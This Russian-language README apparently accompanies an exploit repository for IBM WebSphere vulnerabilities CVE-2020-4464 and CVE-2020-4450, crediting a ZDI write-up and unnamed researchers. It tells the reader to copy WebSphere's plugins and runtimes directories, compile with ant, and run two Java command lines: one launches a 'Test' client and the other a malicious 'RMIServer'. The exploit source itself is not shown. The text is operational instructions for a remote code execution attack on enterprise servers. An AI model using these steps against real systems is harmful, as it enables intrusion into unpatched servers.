
CVE-2020-4464 / CVE-2020-4450
Это основано на отличных публикациях в блоге ZDI (оригинальный отчёт от @_tint0):
... и работе некоторых отличных китайских хакеров (я не смог определить истинный источник кода, не стесняйтесь открыть Issue, если считаете, что заслуживаете признания):
Мои дополнения (немного, на самом деле):
Код FoxGlove подключается как подмодуль, вы можете использовать файл запроса WebSphere для запуска CVE-2020-4464.
Вам следует скопировать каталоги plugins и runtimes из WebSphere в каталог lib, а затем выполнить для компиляции!
antДля запуска (Java 11):
java -cp .:runtimes/com.ibm.ws.orb_9.0.jar:runtimes/com.ibm.ws.admin.client_9.0.jar:plugins/com.ibm.ws.managedobject.jar:plugins/com.ibm.ws.runtime.jar:plugins/com.ibm.ws.batch.runtime.jar:plugins/javax.j2ee.ejb.jar:runtimes/com.ibm.jaxws.thinclient_9.0.jar --add-modules jdk.naming.rmi --add-exports='jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED' Test
java -cp .:plugins/com.ibm.ws.runtime.jar:runtimes/com.ibm.ws.admin.client_9.0.jar RMIServer